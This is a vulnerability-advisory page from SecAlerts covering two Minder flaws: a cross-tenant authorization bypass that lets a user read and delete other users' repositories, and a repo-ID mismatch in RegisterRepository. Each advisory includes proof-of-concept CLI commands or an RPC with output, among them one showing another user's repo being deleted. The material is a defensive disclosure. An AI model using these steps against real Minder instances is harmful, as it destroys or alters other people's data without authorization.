Where
-Infinity
0
Severity
7.1
EPSS
0.04%
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N

Summary A Minder user can use the endpoints listed in the issue title to access any repository in the DB, irrespective of who owns the repo and any permissions that user may have. Details

https://github.com/stacklok/minder/blob/e88e4b286e4bc04c03b0332a77961f085e1aa77f/database/query/repositories.sql#L22-L23 https://github.com/stacklok/minder/blob/a115c8524fbd582b2b277eaadce024bebbded508/internal/controlplane/handlersrepositories.go#L277-L278

The DB query used here checks by repo owner, repo name and provider name (which is always "github"). These query values are not distinct for the particular user - as long as the user has valid credentials and a provider, they can set the repo owner/name to any value they want and the server will return information on this repo.

DeleteRepositoryByName uses the same query and I have been able to delete another user's repo using this technique.

The GetArtifactByName endpoint also uses this DB query. I have not reproduced the behaviour with this endpoint due to a lack of a suitable test case, but I do not see anything in the implementation of the endpoint to prevent it being exploited.

PoC

Setup: 1. Fresh provider/project on the production minder instance which is owned by me. 2. A repo registered by another user (in this case, Ozz)

show my identity $ minder auth whoami No config file present, using default values.

Here are your details:

+----------------------------------------------------+----------------------------------------------------+ | KEY | VALUE | +----------------------------------------------------+----------------------------------------------------+ | Subject | c93cc12e-999d-49f4-9ee3-593fdfb39204 | +----------------------------------------------------+----------------------------------------------------+ | Created At | 2024-02-26 15:53:29.228 +0000 | | | UTC | +----------------------------------------------------+----------------------------------------------------+ | Updated At | 2024-02-26 15:53:29.228 +0000 | | | UTC | +----------------------------------------------------+----------------------------------------------------+ | Minder Server | api.stacklok.com:443 | +----------------------------------------------------+----------------------------------------------------+ | Project | dmjb / | | | ca059552-7b8a-4c6e-918d-ca7e6cbd0bab | +----------------------------------------------------+----------------------------------------------------+

show that I have no repos registered $ minder repo list No config file present, using default values. +----+---------+----------+-------------+-------+------+ | ID | PROJECT | PROVIDER | UPSTREAM ID | OWNER | NAME | +----+---------+----------+-------------+-------+------+

show details on one of Ozz's repos $ minder repo get -n JAORMX/auditevent No config file present, using default values. { "id": "a7e82080-9b6c-41f3-bc08-8e9442f8b2d2", "context": { "provider": "github", "project": "b513f7f0-26dc-42e6-81a0-577df5489e62" }, "owner": "JAORMX", "name": "auditevent", "repoId": "605597568", "hookUrl": "https://api.github.com/repos/JAORMX/auditevent/hooks/464564107", "deployUrl": "https://api.github.com/repos/JAORMX/auditevent/deployments", "cloneUrl": "https://github.com/JAORMX/auditevent.git", "isFork": true, "createdAt": "2024-03-04T13:27:54.019356Z", "updatedAt": "2024-03-04T13:27:54.019356Z", "defaultBranch": "main" }

delete Ozz's repo $ minder repo delete -n JAORMX/auditevent No config file present, using default values. Successfully deleted repo with name: JAORMX/auditevent

Ozz's repo no longer exists $ minder repo get -n JAORMX/auditevent No config file present, using default values. Message: Error getting repo by name Details: NotFound means some requested entity (e.g., file or directory) was not found.

Impact

Any user and project in a multi-tenant Minder instance.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
EPSS
0.04%
Input Validation
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:L

Summary

When using a modified client or the grpc interface directly, the RegisterRepository call accepts both the repository owner / repo and the repoid. Furthermore, these two are not checked for matching before registering webhooks and data in the database.

Details

It is possible for an attacker to register a repository with a invalid or differing upstream ID, which causes Minder to report the repository as registered, but not remediate any future changes which conflict with policy (because the webhooks for the repo do not match any known repository in the database). When attempting to register a repo with a different repo ID, the registered provider must have admin on the named repo, or a 404 error will result. Similarly, if the stored provider token does not have repo access, then the remediations will not apply successfully. Lastly, it appears that reconciliation actions do not execute against repos with this type of mismatch.

PoC

With an RPC like the following text proto:

context { ... } repository { owner: "Stacklok-Demo-Org" repo: "python-app" # repoid is defaulted to 0 }

I was able to produce the following minder output:

+--------------------------------------+--------------------------------------+----------+-------------+-------------------+------------+ | ID | PROJECT | PROVIDER | UPSTREAM ID | OWNER | NAME | +--------------------------------------+--------------------------------------+----------+-------------+-------------------+------------+ | da3acba4-ef66-4d9b-b41e-250869107fd5 | f9f4aef0-74af-4909-a0c3-0e8ac7fbc38d | github | 0 | Stacklok-Demo-Org | python-app | +--------------------------------------+--------------------------------------+----------+-------------+-------------------+------------+ | 7cf8f7b8-b19b-40dd-a96b-b88bb1ef5563 | f9f4aef0-74af-4909-a0c3-0e8ac7fbc38d | github | 762029128 | evankanderson | bad-python | +--------------------------------------+--------------------------------------+----------+-------------+-------------------+------------+

$ gh api repos/Stacklok-Demo-Org/python-app | jq .id 762029128

I've registered bad-python with the ID of python-app, and python-app with an ID of 0.

Impact

This appears to primarily be a potential denial-of-service vulnerability.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203